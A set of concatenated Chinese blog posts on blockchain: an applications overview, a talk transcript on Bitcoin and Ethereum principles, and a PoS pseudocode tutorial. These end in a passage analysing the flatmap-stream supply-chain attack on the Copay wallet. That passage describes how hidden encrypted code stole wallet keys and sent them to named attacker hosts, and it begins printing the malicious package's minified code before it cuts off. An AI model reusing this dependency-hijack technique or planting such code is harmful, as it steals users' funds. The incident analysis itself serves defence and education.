前言：区块链可能是当今科技媒体最喜欢的话题之一，这很大程度上源于比特币在 2017 年的火爆。如果说 2017 年是比特币的一年，那 2018 很可能是区块链爆发的元年。作为产品经理，比起乱象丛生的币圈和需要技术背景的链圈，更关心的是区块链的实际应用场景。什么是区块链？假设现在 A 需要给 B 转一笔钱，他可以选择一些方式：银行卡划账、支付宝/微信转账等等。但这些方式都存在一个现有系统的问题：为了建立信任，我们需要一个第三方平台这样的系统可能存在一些问题，比如第三方系统不稳定、记录被恶意篡改……区块链技术的出现，给了这个问题一个很好的解决方案。区块链本质上是一种去中心化的分布式数据库，它不依赖于某一中心节点，所有参与到区块链网络中的服务器都参与维护，除非掌握 50% 以上的节点，否则很难被破坏，因此区块链具有高安全性。同时由于区块链为链状结构，新区块中的数据中包含上一区块的信息，这部分信息变得不可修改，因此区块链也具有信息不可篡改的特点。但为了控制区块的产生速度，新区块的计算变得非常困难，因此区块链会过渡消耗能源，这也就是为什么比特币的「矿工」们会使用特定的矿机，选择在低电价的地区进行「挖矿」。关于区块链更易懂和更详实的解释，可以看这篇文章 区块链入门教程，这里不再做过多的说明。区块链的应用目前区块链最广泛的应用就是以比特币为首的各种数字货币了。但除了这些纷乱复杂的数字货币外，作为产品经理，更应该着眼于区块链技术能给实际生活带来哪些改变。下面就介绍一些区块链的应用实例。1. 支付目前金融业可能是全球中心化程度最高的产业。毫无疑问，分散式货币的好处之一就是可以不需要银行这样的第三方中介机构，而直接进行转移支付，因此在跨境汇款过程中，区块链可以派上用场。现在，我们已经可以在几分钟之内使用区块链将资金转移到全球，而不是几天，同时由于其匿名性和数据不可篡改，使得这其中的资产交易更安全，因此区块链无疑提供了一个绝佳的解决方案。但由于在金融领域，目前关于区块链的使用标准和相关法律法规还不完善，制约了区块链在支付方面的应用。因此需要区块链技术提供企业、金融参与者、监管部门、立法机构通力合作，建立有效的合作机制。2.合同使用区块链技术，可以将传统合同转换为智能合同。与传统的合约不同，智能合同由软件代码组成，并由区块链网络执行。它的优势在于，合同一旦部署之后便不能被修改，这确保了双方的协议都可以不参与，在区块链上用代码编写的智能合约是一旦被触发就完全不可改变的合约。目前已有一些平台在使用区块链技术的智能合约，如 CoinFabrik，法大大等。3.公益还记得当时的郭美美事件带来的恶劣社会性影响吗，很大原因在于公益流程中的一些环节不透明，公益活动的参与者不能监控整个流程中的每一环节。使用区块链技术，可以将公益活动的项目、资金数量、资金流向等存放在区块链中，任何人都可以查看，使公益行为更透明，为社会所监督。4.食品作为一个具有食品科学背景的人，区块链如何在食品行业中使用也是我关心的问题。目前食品安全问题已经被越来越多的人所重视，但由于食品从原材料的获取，到生产加工、包装、分销，这其中每个环节都离普通消费者很远，我们无法追溯到食品的每一个环节。假设说生产者使用了劣质的食物原材料，或者是食品供应商篡改了食品保质期信息，这些食品安全的隐患，作为消费者是无法获知的。利用区块链技术，在食品供应链环节上进行系统追踪，从原料来源，到食品制作，再到批发商和零售商，每个流程都会记录下它的原始标志符，用户使用手机 App 识别之后便可以获取食品全流程的信息，而区块链的不可篡改保证了这些信息的真实性。目前 TD-FOOD 公司已经在越南站稳脚跟，推动从农场到餐桌食品追溯系统公开，旨在重构食品供应生态。5.文娱互联网技术的发展使得文娱产业从终端设备使用、内容分发到商业获利各个环节，发生了一系列的变革，但这其中仍有部分未能很好解决的问题，例如困扰电影、电子书和数字专辑很久的版权问题。通过区块链技术，可以在这其中的各个环节进行渗透，利用分布式账本的能力来解决这个问题。目前已有一家名为 Custos Media 的企业，通过难以察觉的水印技术和区块链技术，匿名转换盗版文件的下载者和上传者，来保护数字媒体文件面授在线盗版的侵害，一旦被侵权作品出现则会立即进行通知。再比如数字媒体的分发。我们都希望在 iTunes 上购买的歌曲，或者亚马逊上购买的电子书可以作用于所有的媒体上，但目前我们购买的更多相当于是一个对应平台上的副本，不具有在其他平台上使用的能力。一家名为 OPUS 的公司是世界上第一个基于 ETH（以太坊）和 IPFS（星际文件系统） 的去中心化音乐平台。它基于以太坊的逻辑层，处理 Opus 网络上的所有交易，使得用户无论在何处购买了音乐，都可以在任何播放器上进行播放，同时对于音乐人来说，免去了流媒体平台对音乐人收入的抽成。6.云储存目前类似阿里云、腾讯云等云计算平台，为中小企业提供了数据存储的解决方案，但问题是，这些集中式云计算平台一旦出现异常或被攻击，就可能对其中存储的文件造成毁灭性打击。利用区块链技术，可以将数据存储在整个网络中成千上万的节点设备上，当需要进行检索时，系统再将数据从这些节点设备上进行整合，从而提高数据的安全性。目前开源云技术提供商 Nextcloud 便基于区块链技术退出去中心化云储存服务，保证数据安全的同时也降低了成本费用。拥抱区块链目前来看，区块链技术可能会给信息社会带来一场巨大的变革。由于其分布式和多中心的特质，使得人类社会最根本的「信用」问题得以解决，因此类似于金融证券、个人履历、医疗、教育等等可能出现信用风险的行业，都可以将区块链技术渗透其中，从而解决这些问题。我们每个人都处于这场变革中，越早拥抱区块链，越早看到未来。
区块链基本原理及其技术实现 - 姜家志 | JTalk 第五期
编者按：本文系比特大陆的姜家志讲师，在掘金技术社区主办的《给开发者的区块链技术指南 | JTalk 掘金线下活动第五期》 活动上的分享整理。掘金 JTalk 目前已举办5期，每期 JTalk 会邀请垂直行业的优秀工程师来分享优秀的实践经验，技巧方法。旨在为开发者提供线下技术交流互动机会，帮助开发者成长。姜家志，比特大陆哥白尼项目负责人；BCH 社区资深开发者；10年后端技术及互联开发经验，比太钱包Android 和 iOS 客户端的开发者; 从事区块链底层协议的研究，关注高性能、分布式系统的研发。区块链现在所有的项目都有一个很大的性能问题，需要从技术方面去克服，这是我们团队关注的一个方向，另外整个区块链产业发展很大一部分推动力是来自于密码学。 我们还有一个任务是把密码学上的一些思路和研究，在工程上进行实现。我是2013年开始接触比特币，最早接触比特币时，我接近两个星期每晚都处于睡不着觉的状态 。我本想着2015、2016年的时候比特币就应该能普及到很多人了，但经历了14、15年的熊市，觉得可能要再延后几年。出乎意料的是，2017年区块链大规模普及。今天跟大家分享一下区块链的基本原理及技术方面的实现。1. 区块链是什么？什么是区块链？给区块链一个完整定义是很难的，原因有如下两方面：现在区块链涉及的行业太多，很难给它一个很明确的定义。 区块链基本上每隔一段时间都会发生很大的改变，大家可以在上面作出更多有意思、好玩的东西。去中心化比特币最大的特点是去中心化。采用POW，比如早期的比特币、以太坊等都是使用POW，经过长达十年证明之后，POW在去中心化的实现上是最好的证明。现在出现POS、DPOS，都是在一定程度上牺牲了去中心化。DPOS采用选举制度，你所投票的人能代表你自己的想法，但并不意味着任何人能够随意的加入网络。去中心化有几个很鲜明的特点： 抗审查能力。 在整个网络活动中，对应到整个区块链里就是所发生的一笔交易，不会因为个人原因就会被拒绝，就是抗审查能力。整个网络里，即使一个矿池拒绝了你的交易，也会有其他矿池帮你打包。 当某一个网络挂了或某一些不可抗拒原因导致某个节点挂了，不会影响整个网络运转。POW、BCH、BTC、以太坊都具有这样的能力，任意一个矿池挂了，其他节点依然正常在运转，如果把所有矿池都挂了，在运行节点中的节点会重新搭建起一个全新的狂吃，这样有可能会出现整个网络处理能力的下降，但网络是不可摧毁的。DPOS这种方式肯定会牺牲以上说的两点特性，如果21节点全部被封禁了，恢复就有一定的困难性(备用节点的设计方案还有待确认)。21节点也同样的具有审查交易的能力，任何人想进入这个网络也很困难（需要通过选举）。我称这种方式为弱中心化，毕竟还是有21节点的，不是一个完全的中心化。弱中心化的设计是为了提高性能上一些指标，为了能做更多事情，牺牲了去中心化的特点。 数字化账本整个区块链都是运行在互联网上 不可更改这个特性在比特币里比较明显，在以太坊里，会出现能更改的可能性。如果一个合约在定义好之后，之后通过交易是可以改变它的状态。但这个可更改性也是之前定义好的，也就是说大家知道你的合约就是这样写的。 确定性的复制状态机简单来说就是整个网络所有节点能够拿到所有的数据。 可编程性在比特币中就有体现。在以太坊上，可编程性被进一步放大，他使用的语言是solidity,它是一种类似于JavaScript的语言。 匿名性因为每个地址/账户在整个网络里，不和真实世界中人物对应。但是因为比特币这种交易是链式的结构，如果你知道这个币给谁了，反向追踪是可以找到源头。匿名性是如果不带入真实世界里，不和真实身份的进行交易的话，是有一定的匿名性。反之，这种匿名性就会消失。这也是为什么交易所会强制做KYC严格身份认证的原因。 区块链工作原理公私钥体系 数字签名认可 全网广播 区块记录交易以交易为单位，每个交易会记录在区块链上，不会记录真实结果，这些交易本身会影响结果。 链式结构整个交易、区块都是链式结构，大家一直会往一个方向不断延伸下去，不会出现回路或分叉。 参与者确认有效性在比特币中是矿工确认交易，在EOS中是由超级节点确认交易。 区块链特征区块链是资产型网络。无论现在看到什么样的区块链项目，都运行着一个资产网络。强规则网络有如加密、签名、验证、交易和确认等操作。任何一块不符合规则的话，整个块就会被拒绝。在互联网项目中，出现不一致的情况时，后续是有修复和解决的机会；但是在区块链里，这种可能性非常低。如果出现一个很小Bug，整个网络运行都会出现问题，会对整个网络影响很大。在早期，比特币出现过几次的Bug造成了分叉，全网暂停后重新运行。但现在如果再出现类似Bug，就很严重了，因为当时比特币网络参与人员少，比特币价格低，造成的影响较小。 弱信任每个节点都有对等的，把整个区块链理解为数据库，每个节点在系统内都有写入的权限 。在对等的前提下，比特币是通过算力来决定谁能写入的更多。如果你有更大资源，能调动更大的算力，写入的概率就会很大。 信任来自于共识机制，非第三方共识机制包括POW、POS、DPOS和DAG。DAG是一种共识机制，它经过了密码学家的认可。 去中心化现在很多区块链项目在向弱中心化方向发展，弱中心化的好处也能带来对等信任的关系，这种信任网络可能产生的经济价值会有可能大于以前中心化网络带来的价值。 区块链使用数字化资产 像比特币，都是对标一种交易系统。转帐。股权。融资。数字版权。游戏。存储。如果存储解决了，上面的版权、游戏都有可能会在里面，包括新的一些应用或新的网络产生新的价值。目前都处在摸索阶段，整个业内也都有人朝这几个方向去做。 EatBCH，是一个委内瑞拉的项目。目前委内瑞拉法币已经崩溃，委内瑞拉和其他国家关系也不好，再加上国内有封锁，美元很难进入。现在面临很重要的问题是没有法币能做交易，委内瑞拉现在存在严重的饥荒，但黑市中有食物 。 他们国内有一个项目叫EatBCH，就是通过捐赠BCH给他们购买食物。整个比特币是跨国界的，只需要知道他的地址，就可以把比特币直接打给他，省去了中间环节。利用BCH 低成本网络的特点，省去手续费，几美元就可以让他们吃很久。这是一种价值网络的转移。这个项目估计让委内瑞拉400、500人受益。非洲也类似的项目。 2. 区块链技术实现公私钥我们使用的加密网络、VPN等都是公私钥体系，比特币私钥本质上是随机数，只不过这个随机数很大，有2的256次方个私钥，不可能遍历所有的私钥的。 在一个钱包里生成私钥以后，这个私钥理论上有可能被别人撞到，但实际上不可能，概率非常小。整个网络采用的是secp256k1算法。中本聪当年设计比特币时，一些加密库的实现里是美国政府认可的，他认为不是特别靠谱。HashHash是一种散列算法，相当于一个数据的指纹，我们无法从Hash里推算出原始数据是什么，因此可以实现对原始数据进行保护。如果原始数据是一致的话，Hash就是一致。不同的原始数据Hash值冲突的概率很小，基本上可以认为是不一致的。数字签名从一个原始数据里算出对应Hash，用私钥进行签名，到了验证方那里他拿到原始数据，签名数据，从原始数据中是可以算出Hash的，拿到Hash和公钥、签名之后把数据一起做验证 。这在互联网里也比较常用，邮件里使用PGP加密也是采用类似方式。在整个区块链里，签名是一个所有权认证方式。在整个区块链里，最重要的东西就是私钥，如果以后大家在使用钱包的时候一定要保证好自己的私钥。但是这面临一个很麻烦的东西，大部分人对公私钥有可能了解的比较少，小额有可能还是放到线上钱包比较好，线上钱包提供方也有很多，比如交易所就是一个很大的在线钱包。由于私钥是要自己保护的，私钥问题从早期一直存在到现在，即密码无法找回，或者没有备份等。在早期时，有人在比特币上挖矿，电脑上面有5000个、8000个都放着，电脑过了一段以后不用了，所有东西都有可能丢失了。整个比特币网络上是2100万个币，据估算找不到的就有五六百万个。地址现在很多区块链项目都在用地址，地址是经过Hash算法算出来的。在没有发送出去币的时候，地址能保证你的公钥不被外界看到，只是拿地址做收币使用，公钥不会暴露在网络上，只有当发送币时才会暴露公钥。这样带来的好处是有一天有人破了算法，能从公钥反推出私钥了 ，如果不暴露公钥，还是无法算出私钥，多了一层保护。交易比特币交易分为输入和输出，输入是这个币是那里给你的，输出是你的币要发到那里。每一个交易必须有输入，因为没有输入的话，相当于不知道这个钱是从哪里来的。除了挖矿产生的交易，这个交易是由整个共识规则产生的奖励， 这个交易是没有输入的，这个就是比特币的发行。交易本身有锁定和解锁脚本，网络上并不存地址，只关心锁定脚本，根据锁定条件有对应的解锁条件，两个加在一起才能动用你的币。脚本运行脚本运行在一个堆栈上，遇到一个脚本操作符，就会执行对应操作，如果碰到数据，又会把数据要到栈里，最终结果是保证整个栈执行出来是对的， 中间任何一个条件不满足的话，整个交易就无法运行。这是为什么整个比特币的协议， 只关心锁定条件是什么，能否拿出对应解锁条件这些的原因。如果解锁条件能够满足的话，就能动用里面的资产，如果满足不了就不能动用。UTXO和账户每个交易都有一个输入和输出，但是每一个输出有可能暂时不用，也可能一年之后用，如果不用，就会存在整个系统中，这种结构就叫做UTXO，这是比特币采用UTXO的概念，UTXO能在整个系统设计上更容易实现去中心化的特点，但是以太坊采用不是UTXO的概念，采用的是我们容易理解的账户概念，相当于你的私钥产生地址，就是你的账户，可以一直用这个账户，所有操作、所有记录都在账户下。为什么有一个UTXO和账户的概念，这里牵涉到UTXO和账户两个系统带来的一些好处。UTXO无需维护余额，因为不关心你的余额是什么，只关心它的锁定脚本是什么，有没有输入对应的解锁脚本，所以整个系统不用维护一个地址，当使用一个钱包时，显示地址里有多少余额时，都是钱包算出来的，拿到这个地址下面有多少未发生交易，加在一起就是你的余额。 每个UTXO都是独立的数据记录，提升验证交易的速度。 UTXO本身不用关心事务问题，只关心锁定脚本和解锁脚本。UTXO能够在实现上、编码上给整个系统带来很大的优化，所以比特币在实现去中心化时就非常容易。 在以太坊里要运行智能合约，相应要让每个账户有独立的存数据和取数据能力，使用UTXO这个概念的话，一个数据存了，不太容易找到他存在哪了。账户体系能解决这个问题，现在每一个账户下面都有一个kv存储，自己可以存任何想存的东西， 这样使用智能合约时更加容易实现。 BlockBlock Header包括基本数据，交易列表，交易确认是由矿工把对应交易打到块上，这就是交易的确认，所以Block概念在整个系统中运用也是很广泛的。所有块加在一起形成Blockchain的概念。3. 比特币布雷顿森林体系解体之后，美元的购买力下降98%左右。在津巴布韦发生着我们小时候看课本上的事，推一车钱去买东西，最后把钱扔了，车推走了。津巴布韦现在就处于这个状态，持续通货膨胀，导致法币体系基本崩溃。俄罗斯前几年也出现过货币大面积贬值，一段时间贬值50%左右，还有委内瑞拉。印度去年用新的货币系统替换了旧的货币系统，通过这个事情，GDP都下降了一点 。在整个世界历史上有很多国家正在发生类似这样的事情。比特币是什么？A Peer-to-Peer Electronic Cash System 2008年11月1日，由Satoshi Nakamoto发表论文 2009年1月3日，创世块诞生 (The Times 03/Jan/2009 Chancellor on brink of second bailout for banks)，写了一段讽刺的话，当时英国第二次救助银行系统 2010年之后，Satoshi本人逐渐消失并人间蒸发 总量固定2100万枚 比特币发行(Coinbase)挖矿 数学保护的财富财产的绝对控制，私钥是唯一的凭据，失去私钥将失去一切。 非对称加密算法，Hash摘要算法。 海量账户，以地址（公钥）登记所有权，数量几乎无限供应。 全球无缝流通，有网络就有比特币。 无伪钞，天然审计。 比特币系统三大特征工作量证明POW，体现在算出来这个Hash值要小于给定的那个值，这个目标值就是全网去维护的，如果算力大了，还是这个目标值的话，肯定不能满足10分钟出一个块了，这个时候就要提高目标值，目标值越来越大，需要的算力就越来越多，这也是为什么现在全网算力这么大，比特币还是保持10分钟左右出块。 链式结构，体现在Block和交易上。 去中心化系统，没有一个组织能完全封杀掉整个网络或控制整个网络。 挖矿挖矿也是比特币的一种发行方式，发行交易是Coinbase交易大量尝试随机数找到符合要求数字的过程。 工作量证明（POW）的体现。 比特币的发行(Coinbase)。 高额收益。 维系比特币的支付功能，打包交易。 大算力保证比特币系统安全。在整个产业链中，付出成本最大的其实是矿工，矿工要有基础建设，要买矿机，成本比较大。 挖矿是利益驱动解决自生长问题，利益驱动，不依赖道德和感情。 消除比特币安全威胁。 在算力博弈块链的过程中，作恶导致受益下降。 利益绑定，拥有巨大算力的组织，会自发的维护系统安全。 比特币的长久发展更有利于矿工交易。 大算力保证比特币系统安全。挖矿是一个利益绑定，拥有最大的算力组织会自发维护整个系统的安全，比特币长久发展有利于矿工交易，因为矿工在这块投入的成本很高。 挖矿的历史早期是拿CPU挖矿，因为挖矿的人很少，也很少有人会在上面进行改进；后面有一些新玩家进来之后，发现显卡算力更快，就采用显卡；再后面用上了EPGA，在2012年之后就是ASIC的时代 。比特币现状极具有颠覆性的创新产物，但仍然是处于试验阶段 币值剧烈波动，还不是稳定结算单位 缺乏多数商家的支持 受众人数仍然很小 系统吞吐能力仍然很小，尚无法支撑全球大规模交易（需要扩容） 比特币极具创新性，目前还处于实验阶段，价格不稳定，现在不是稳定的结算单位。比特币缺少大部分商家支持，而且受众人群少。系统吞吐能力小，无法支撑全球大规模交易，所以需要扩容。比特币扩容历史很艰难，现在分为BCT和BCH。现在不会在扩容问题上继续争吵。 比特币扩容历史2014年Gavin提出扩容问题 Bitcoin XT （20M,太过于激进） 2016年Bitcoin Classic (2M) 2016年香港共识，矿工只运行Core的代码，SW第一次出现 禁止讨论区块扩容，路线图中只有SW没有直接区块扩容 Bitcoin Unlimited出现，最高有50%算力支持 UASH和UAHF 以太坊以太坊市值一直在不断地涨。在以太坊上存在扩容问题吗？其实以太坊区块大小一直在不断增加，以太坊随着使用增加，整个网络能处理的交易也不断增加，现在要运行以太坊节点，是必须使用SSD的硬盘的 。以太坊不断在提高自己GPSLimit。上次以太坊因为加密猫的出现，导致大面积拥堵，这是因为以太坊已经没有办法通过简单的扩容方式解决TPS问题了，所以要采用一些新的技术演进来解决。比特币如果遇到像以太坊一样拥堵问题，无法通过简单技术方案进行解决的话，大概需要到每秒100-500笔交易才会出现。上图是BTC全节点。以太坊全节点现在运行已经很困难了，比特币全节点只有1万多个，但是以太坊全节点依然有2万多个。以太坊能给很多人提供智能合约，可以在上面做更加有创造力的事情，所以大家才愿意运行以太坊的节点。4. 以太坊的智能合约智能合约1990s年代尼克萨博提出 一个可以自动执行的计算机程序 接收和回应信息，接收和存储价值，向外发送信息和价值 图灵完备的语言 以太坊智能合约 公共区块链平台 以太币是其代币 Ethereum Virtual Machine 点对点的合约 Vitalik Buterin 在2013提出 2014年ICO众筹得以发展 EVM外部账户和合约账户 每个账户有一个持久的KV存储 交易从一个账户发往另一个账户 包含代码代码，就会执行，交易相关的数据作为参数 EVM执行交易的过程中，会消耗Gas 堆栈机器stack EVM虚拟机分为外部账户和合约账户，外部账户专门用来转帐 。合约账户包含一些代码，能在每个节点被执行，交易相关数据是它的参数。如果在合约里面运行一个很长的代码， 允许它一直运行的话，会有可能把整个系统资源耗死，所以它有一个Gas的概念，要是想运行东西，就必须付钱，当付的钱消耗完了，这个合约就执行完了， 如果Gas消耗完了就不执行了，有没有结果就不关心了，这样能保证了保证整个系统安全。 SoliditySolidity是以太坊使用的类似JavaScript的高级语言 以编译的方式生成以太坊虚拟机代码 数据的每一个状态都可以永久存储 强调合约或者函数执行的调用方式 一旦出现异常，所有的执行都将被回撤 Gas消耗完合约停止 Remix无需安装的浏览器编译器 ERC 2.0ICO ERC20是一套标准接口 钱包自动支持代币 把ETH打到对应的合约地址上，自动获得代币 ERC2.0本质是一套对应的接口，适应这个接口，就能完成ICO的过程。好处是把以太坊打到对应ICO合约地址上，就能自动获取代币，这对用户来讲比较简单，所以有人在网上说5分钟教你怎么发token。 CryptoKitties 加密猫ERC721 Token 每一只猫都是一种代币 每一只猫都是独一无二的 每一只猫都有自己的基因 加密猫也是一种代币，加密猫最高成交的价格好像是1亿多，每一个猫都独一无二，因为天然是一种代币，和token一样，它还有自己的基因，这是游戏的玩法了。 5. 如何开始区块链行业构成底层协议 矿池制造 矿池 交易所 钱包 媒体 其中底层协议最关键。有一个说法，现在底层协议架构类似于98年的互联网，当时大家做各种网络协议，HTTP协议等很多，现在的区块链其实也是。 技术方向上• 优秀的编程能力 • Go,C/C• 分布式协议 • 数据库 • 编译器 • 操作系统，内核 • 密码学算法加入区块链企业是了解和学习区块链的最好方式早期区块链项目都是以开源为主，很少看到有闭源方式运行的，整个区块链其实是运行在开源社区基础上的，而区块链项目本身又是一个开源的项目，希望区块链项目未来能够给开源社区做更多贡献， 我们做的东西很多也都是开源的 。希望未来在能够形成正向循环，开源社区给区块链行业提供贡献，区块链行业产生更多的区块链项目，区块链项目本身又是开源的，又能给开源社区提供贡献。以上是《给开发者的区块链技术指南 | JTalk 掘金线下活动第五期》 讲师姜家志的分享，如果你对掘金的 JTalk 线下活动感兴趣，可以关注掘金活动页面的 JTalk 活动报名。掘金 JTalk 目前已举办5期，每月一期的 JTalk 会邀请垂直行业的优秀工程师来分享优秀的实践经验，技巧方法。旨在为开发者提供线下技术交流互动机会，帮助开发者成长。JTalk 预告JTalk 第六期即将在杭州举办。主题：从前端到“后端” 时间：5.20
（二）区块链的共识算法：PoS 及其 例子 代码 实现
作者：林冠宏 / 指尖下的幽灵掘金：juejin.cn/user/178526…博客：www.cnblogs.com/linguanh/GitHub ： github.com/af913337456…腾讯云专栏： cloud.tencent.com/developer/u…BTW：本人技术书籍《区块链以太坊DApp开发实战》现已出版并可网购了，适合初中级区块链技术相关研发人员阅读。目录前序 PoS 共识算法 PoS 的特点 编写 PoS 代码 候选块数组 块中的节点地址 进行股权分配 根据股权选出赢家 结束 前序这篇文章是上一篇的序章，上一篇的链接地址是：juejin.cn/post/684490…（一）区块链的共识算法：整体介绍 及 分叉 的通俗讲解本篇文章将会着重介绍 PoS 共识算法和采用代码例子来实在地阐述它关于什么是共识算法这个问题，请查看（一）区块链的共识算法：整体介绍 及 分叉 的通俗讲解 ，里面已经给出了答案。PoS 共识算法PoS 全称为 Proof of Stake 股权证明。字面意思就是，股份制。就是说，谁的股份越多，谁的话事权越大，这和我们生活中的股份制公司中的股东的意思的差不多的。但是，在区块链的应用中，我们并不可能真实地分配给链中的节点股份，取而代之的是另外一些东西，这些东西充当股份，我们将这些东西分配给链中节点。下面将举一些例子来加以阐述这个概念。例如 PoS 在虚拟货币的应用中，我们可以把持币量的多少，来看作拥有股权、股份的多少，假设某条公链以拥有的 XXX 代币的数量来衡量，这个节点的股份有多少，它的话事权有多少。假设一个公链网络中，共有3个节点，A 和 B 和 C，其中 A 节点拥有10000 个 XXX 代币，而 B 和 C 分别有 1000 和 2000 个，那么在这个以太坊网络中，A 的区块是最有可能被选中的，话事权是比较大的。再例如，假设日后的某个非虚拟货币的区块链、公有链，一条实体业结合的链，例如 汽车链，我们就可以把每一位车主所拥有的车辆数目和他的车价值多少钱来分配股份，例如规定一条公式：车数*车价值 = 股份的多少，在 PoS 中股份是一个概念，一个衡量话事权的概念。PoS 的特点上面的描述已经说明了 PoS 共识算法的概念。因为它是以拥有某样东西的数量来衡量话事权的，这就意味着，只要我们的节点，拥有这类东西，哪怕拥有的只有 一个，都是有话事权的，即使很小，甚至都没机会露面，但它还是有机会。在 PoS 中，块是已经铸造好的(这里没有“挖矿”的概念，所以我们不用这个词来证明股份)，PoW 是有挖矿概念的。这也就造成了它有下面的特点：优点： 缩短了共识达成的时间，链中共识块的速度更快 不再需要大量消耗能源挖矿 作弊得不尝失，因为如果一名持有 51% 以上股权的人作弊，相当于他坑了自己，因为他是拥有股权最多的人，作弊导致的结果往往是拥有着越多的损失越多 缺点： 攻击成本低，只有节点有物品数量，例如代币数量，就能发起脏数据的区块攻击 另外拥有代币数量大的节点获得记账权的概率会更大，会使得网络共识受少数富裕账户支配，从而失去公正性 编写 PoS 代码为了能让更多人，以及非 go 开发者能看懂，下面将通过 伪代码 来实现，完整的 go 代码请留邮箱。首先我们使用一个候选区块数组来保存，每一个 节点 广播过来的和自己当前节点生成的区块对象： candidateBlocks [ ]Blocks 候选区块数组 复制代码每个区块结构体里面有一个变量 是用来记录生成这个区块的节点地址的type Block struct { Timestamp string // 时间戳，代表该区块的生成时间 Hash string // 这个区块的 hash 值 PrevHash string // 这个区块的 上一个 区块的 hash 值 NodeAddress string // 生成这个区块的 节点地址 Data string // 区块携带的数据 } 复制代码然后有一个 子线程，专门负责遍历 候选区块数组，来根据区块里面的节点地址 获取 它的代币数量，然后分配股权 stakeRecord []string // 数组 for block ~ candidateBlocks { coinNum = getCoinBalance(block.NodeAddress) // 获取代币数量 for i ~ coinNum { // 币有多少，就循环添加多少次 if stakeRecord.contains(block.NodeAddress) { // 是否以及包含了 break // 包含的就不再重复添加 } stakeRecord = append(block.NodeAddress) // 添加 } } 复制代码然后从 stakeRecord 中 选出一个竞选胜利者。这个概率就和上面的 coinNum 有关，越大就越有机会。 index = randInt() // 得出一个整形随机数 winner = stakeRecord[index] // 取出胜利者节点的地址 复制代码最后，我们就能取出这个 winner 所生成的区块来进行公链的接入，然后广播出去 for block ~ candidateBlocks { if block.NodeAddress == winner { // 添加 } } // 广播出去 ... 复制代码以上，就是一个很简单的， PoS 算法机制的代码实现，单纯地根据持币数量来做股权分配。而事实上，事情往往是比较复杂的，想想一下，如果我的股权的分配，不仅仅和代币的数量有关系呢，对吧，这样的话，就能衍生各种各样的想法变种方式例如以太坊加入了币龄，在候选成功后，以太坊在这个步骤还会扣除币龄。种种的这些，都是可以变的，我们要理解 PoS 的精髓，才能在开发自己的公有链的时候，随心而行
@蒋欢，美团点评前端工程师，3年工作经验，主要负责美团点评“云店助手"客户端和"美团点评智慧餐厅"小程序的开发。本文首发于 蒋欢的知乎专栏 ，敬请关注。正文从这开始～比特币钱包 Copay 被依赖链攻击这个瓜上周在技术圈里被广泛讨论，我在看了众多大神分析之后理清了前因后果。在这里也给大家来分享一波黑客是如何一步步实施他的惊人计划的。一、 背景介绍event-stream 是开源社区里一个用于处理 Node.js 流数据的 npm 包，它使得创建和使用流变得容易，正是因此，受到了广大开发者的欢迎，目前这个库上周下载量达到了165万。event-stream在npm的托管而这起事件起因是由于该项目的作者 @dominictarr 受限于时间与精力，将其维护工作交给了另一位开发者 @Right9ctrl，该开发者获得了 event-stream 的权限后，将恶意代码通过依赖项 flatmap-stream 注入到了 event-stream 中去。也正是这个依赖项引入了窃取比特币的后门。同时，著名的比特币钱包 Dash Copay 在他们的应用中引用了对 event-stream 的依赖，从而导致了中毒事件的发生。梳理下来，黑客的具体步骤如下：第一步，黑客 @right9ctrl 发邮件给这个库的原作者 @dominictarr，而他因为缺乏时间和兴趣已经不愿再维护这个库了，于是就将该库转让给了这个完全不认识的陌生人 。 原作者的解释第二步，9 月 9 日，新维护者开始了初步性的动作，首先释出了 event-stream 3.3.6 版本的更新，并在其中加入了一个全新的模块——flatmap-stream，彼时这个模块中并没有恶意功能。 第三步，9 月 16 日，@right9ctrl 删除了对 flatmap-stream 的引用并在 event-stram 里 手动实现 了这个方法，之后直接将项目从3.3.6 升级到了 4.0.0。但引用npm包的时候，很少有人直接升级大版本，也就是说 codepay 很可能会一直使用这个中毒的 event-stream 3.3.6版本。 黑客的攻击步骤第四步，10 月 5 日，flatmap-stream@0.1.1 版本被一个名为 @hugeglass 的用户推送到了 NPM。而这次释出的更新中该模块就被加入了窃取比特币钱包的用户信息和秘钥。通俗的来说就好比用户的网银账号、密码和U盾一起被盗了。 二、盗窃与曝光盗窃那么黑客的代码具体是怎么盗窃比特币的呢? 通过分析 flatmap-stream 的源码，我们可以将其分解为已下四个步骤：外部代码判断执行环境，如果是在 copay-dash 项目中运行，则将加密成16进制的内部代码进行解密并执行。 内部代码判断用户的使用环境（是否使用 Cordova），同时获取受害者的个人钱包信息。 通过遍历受害者钱包里所有的id，查找账户余额超过100 BTC（市值300万人民币）或者1000 BCH（市值125万人民币）的账户。 将受害者的账户信息和钱包秘钥分别发往部署在吉隆坡的服务器 111.90.151.134 和 copayapi.host（之前DNS解析为：145.249.104.239，目前为：51.38.112.212）。 曝光整个事情的曝光十分具有戏剧性，一个完全不相关的第三方开发者在自己的项目中引入了 Nodemon 监控，但是控制台出现了一条警告 "DeprecationWarning: crypto.createDecipher is deprecated"。crypto是一个常用的加密解密库，最近因为 api 升级，它的 crypto.createDecipher方法已经在新版中废弃，因此系统抛出警告。一个意外将整个事件曝光然而，正常情况下对 nodejs 的监控是不需要进行加密解密的。所以为了解决这个意外的警告，这位热心的开发者将问题上报到了社区。在解决问题的过程中，他们一路向上遍历了他项目的依赖树，最终发现依赖是由 flatmap-stream 引入的。通过解密 flatmap-stream 的代码，由此揭开了整个事件的序幕。攻击与发现三、代码分析现在让我们通过回溯代码来一步步分析黑客是怎么实施他的盗窃的，如果不愿意看详细分析也可以直接跳到章节最后的总结图：）首先，攻击者上传的原始代码 (flatmap-stream@0.1.1)[unpkg.com/flatmap-str…] 是被压缩过的：var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return 